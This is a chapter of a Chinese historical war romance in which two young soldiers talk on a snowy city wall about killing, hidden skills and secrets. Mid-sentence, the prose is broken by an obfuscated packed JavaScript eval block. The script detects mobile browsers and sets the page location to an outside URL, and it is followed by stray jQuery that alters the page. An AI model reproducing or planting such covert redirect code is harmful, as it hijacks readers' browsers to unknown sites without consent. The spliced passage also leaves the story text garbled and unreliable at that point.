78.秘密

温暖的触感从手背传至心里,王将匪眼眶一热。


真的过去了吗?


她抬头看着远处覆盖上皑皑白雪的城墙,想起曾经年少无知的自己说出的那些大话,忍不住扯出一个自嘲的浅笑:“想当初在军营之时,我仗着自己箭术超群,洋洋自得。当时你曾同我讲过,杀人不是一件容易的事,只是我那时并不明白这其中的深意,自以为和进山捕猎并无不同,可是……直到今日,那些北乌人温热的鲜血溅到我冰冷的脸上,我才终于明白了。”


陆清安听到王将匪的感慨,也是一声轻叹。他知道亲手结束一条生命时所需要付出的代价,越是纯良之人,所承受的痛苦便会越大。他担忧着这一天的到来,可他也知道,若想要实现梦想,阿匪就必须经历这一步,这些痛苦也必须是自己承受。成长,残酷而清醒,对所有人也都公平。


这些道理他都明白,可他还是忍不住心疼。上天是何其残忍,短短一日,少女便经历过背叛、孤独、恐惧、绝望,这些痛苦覆于一人身上,纵使已伤得千疮百孔,摇摇欲坠,却依然顽强地立在那里,不肯倒下。


风雪满天中,陆清安执伞而立,王将匪回首,望进他担忧心疼的眼眸中,她一怔,勉强笑道:“我没事,真的。”


她强装无事,道:“我是士兵,自入军营以来,便已有预感,这一天或早或晚,都会到来。既然我做出了选择,所要承受的痛苦便是这个选择需要付出的代价。只是……因为这是第一次,所以还有些不习惯,你放心,这一切都会过去的。”


她笑着眨眨眼睛,安慰陆清安:“我可是要当将军的人,怎么可能连这关都过不去?”


“是啊,”陆清安眸色复杂,轻声附和:“日后你为将,定会统领万军,一往无前,势如破竹,百战百胜。”


陆清安的这句话让王将匪很是受用,连带着一直阴霾的心情也是稍好了几分。她登上城墙,眺望远方,今日那片厮杀决战的战场已被白雪覆盖,白茫茫的一片空寂,像是什么都没有发生过一般,洁白纯净。


陆清安顺着王将匪的视线望去,看见那片白雪,担心王将匪会触景深情,他伸出手,正想劝王将匪回去,却听见王将匪问道:“小璟,今日城外,你不是第一次杀人吧?”


陆清安一怔,王将匪转身看向他,她虽是询问,语气却颇为肯定。之前她还怨自己胆小不争气,连这点必经之事都害怕到心跳如鼓,难以入眠。反观鹿观璟,他却是一副无事的冷静模样。王将匪原本还想问他为何不怕杀人,可是刚才看着那片雪地,电光石火之间,她突然想起在晕倒之时,见他于敌人中杀出一条血路,冲至她的身边。那如同砍瓜切菜的娴熟手法,她仔细想了想,便明白了。


因为不是第一次杀人,所以不会害怕。


陆清安垂眸,少女的眼眸亮晶晶的,似乎能看破万物,让他无处遁形。他抿了抿薄唇,移开视线,没有言语,却也算是默认了。


他原本只是想让她看见他坦露的那一面,可到底,还是露出了一丝血色的本性。


陆清安有些忐忑,想要解释,却又不知从何说起,他小心翼翼地抬眸望向王将匪,正撞进少女好奇的目光中。


“小璟,你第一次杀人时,是何场景?”


少女没有鄙夷,没有惧怕,宛若老友小叙,雪夜闲谈,一切无恙。


她的神情平和宁静,陆清安看着她,仿佛也被带回曾经的记忆长河中。


“很小的时候了,有一次遇到劫匪,为了自救,只能杀人。”陆清安的眸光似蒙上一层墨雾,比夜色还浓:“时间过去的太久了,我有些记不清了。”他的声音很轻,似是一阵风便会吹散了。


时光悠远漫长,若是没有王将匪的问题,他好像已经把那段回忆遗忘了。


那年他刚从北境返回京城,也如今夜,夜深雪寒,杀手以此做掩,潜入齐王府中,想要结果他的性命。他用一把薄如蝉翼的匕首割破了对方的喉咙,鲜血汩汩而出,那人的命也留在了那个雪夜。


彼时他也不过是堪堪七岁的黄口小儿,或许那一夜的他也如现在的王将匪这般惧怕惊恐,只是时间太久,他记不清了,也不愿再回想。


那些尔虞我诈的曾经,在一次次命悬一线的蜕变中,终成了如今的冷血之躯。


王将匪看着身旁沉默良久的陆清安,少年与她年岁相仿,可王将匪总觉得他那双点漆般的黑眸,似是压着深埋许久的秘密。


她看出陆清安不欲多言,便没有再这个问题上纠缠下去,想到今日陆清安的身手,她又道:“想起你我初识时,我还以为你是手无缚鸡之力的文弱公子,可今日一见,你的武功与我相比,也不遑多让。”


她上前一步,逼近陆清安,生气道:“如此看来,你之前是故意装柔弱骗我?你到底是何居心?”


“咳咳……”,陆清安被她逼得后退两步,不自在地会避开王将匪炯炯的视线,他眼神乱瞟,心虚道:“我、我不是故意骗你的。我的确会武,小时候府上请了武师傅,我也跟着学过,只是我身有沉疴,若是长时间动武,身子便会虚弱不消,承受不住,来历州的路上不太平,我又不想用武力解决,恰逢你我相遇,我、我不缺钱,既然你我是有缘之人,你又是好人,那、那我雇你与我同行,也、也并无不妥吧?”


“那你怎么不告诉我你会武?”王将匪不依不饶道:“一直把我蒙在鼓里,耍着我很好玩吧?”


“我只会些三脚猫的功夫,怎可与你这等绝世高人相比?”陆清安这番不着痕迹的夸赞让王将匪很是受用,就连语气也不由得柔和了下来:“可我今日见你挥剑的模样,倒不像是你说的什么三脚猫的功夫啊?”


她顿了顿,又道:“虽然比起我,还是差那么一点的。”


“那是因为我见你身陷危险之中,我急于救你,竟阴差阳错被激发了潜力,已至武力又上升了几个等阶。这么说起来,阿匪是助我武学有所突破的大功臣,我真要好好感谢感谢你!”


陆清安这马屁拍得一点都不脸红心跳,王将匪的嘴角忍不住翘起,压都压


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531838|169456||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


不下去。


“鹿观璟,我还有一个疑问,一直萦绕在心头未解,不知你可否为我解疑答惑?”


陆清安点头:“你问。”


王将匪顿了顿,敛起笑容,正色道:“今日历州援军,为何由你带兵?”


不怪她心生疑虑,在王将匪心里,只以为陆清安是在军医处打杂,和她这个天天上山抓猪的伙头兵半斤八两,可是今日的历州援军竟由陆清安打头阵,简直是一大怪事。王将匪早就在刚醒之时就想问陆清安了,只是那时陆清安提到王将石,她担心王将石安危,就将此事暂时放下了。如今夜深人静,此处只有他们二人,正是解惑的好时机。


陆清安猜到王将匪有此疑问,早就准备好了说辞。他从善如流道:“陆将军有不寐之症,久病难医,他饱受顽疾困扰,恰好我家有专治此症的秘药,陆将军用过后,果然可以入眠了。此后他便常叫我过去帮他针灸调理,他也对我愈加信任。陆将军此次离开前,将他的将军令牌交于我,若是有紧急军情,我可用此令牌调兵。”


王将匪听着他的满口胡诌,气到笑了出来:“你是说陆将军慧眼识珠,看出你是可用之才,所以才将将军令牌给你?就这么简单?”


陆清安眨着无辜的大眼睛点头,王将匪嗤道:“那他为何要给你,而不给马教头他们?教头们都是老兵,经验丰富,若是论处理军情,教头们怕是要比你更合适吧?”


“你说的没错,不过也正是陆将军的顾虑所在。”陆清安低下头,神秘兮兮道:“你想想,陆将军也是今年才被调到历州军的,教头们都是军中旧部,陆将军自然想寻到一个自己人。”


“这话说得倒是在理。”王将匪点点头,看似被陆清安说服,她却话锋一转:“可是陆将军要找自己人,放着营中那些大好男儿不找,偏偏要找你个军医处打杂的?难道说,你给陆将军下药了?”


陆清安:“……”。


“首先,我不是打杂的,”听见王将匪这番嫌弃的话,陆清安脸上的微笑快被击碎了,他咬牙切齿道:“其次,我行事磊落,不是你口中那等下药小人。我有勇有谋,怎么就不值得托付了?”


陆清安不满地看向王将匪,他有她说的那么弱吗?


王将匪闻言,眼中闪过一丝探究之色:“也是,陆将军之所以是将军,他的所思所想自是和其他人不同。他这么安排,说不定有他自己的考量。”


王将匪又不是傻子,自然不会相信陆清安这种糊弄小孩的话,她也听明白了,陆清安在这兜圈子,其实就是不想告诉她。


每个人心中都有秘密,他既然不想说,那边不说吧。反正就算有秘密,他们也还是朋友。


她抬头仰望着雾蒙蒙的夜空,感慨道:“今天是十五,按理说应该是一轮圆月的。只是可惜了,今夜无月。”


身侧响起陆清安低沉的声音:“明晚会有的。”他缓声道:“阿匪,明天太阳升起之时,依然是新的一天。”


是啊,王将匪想,破晓之时,又是新的一天。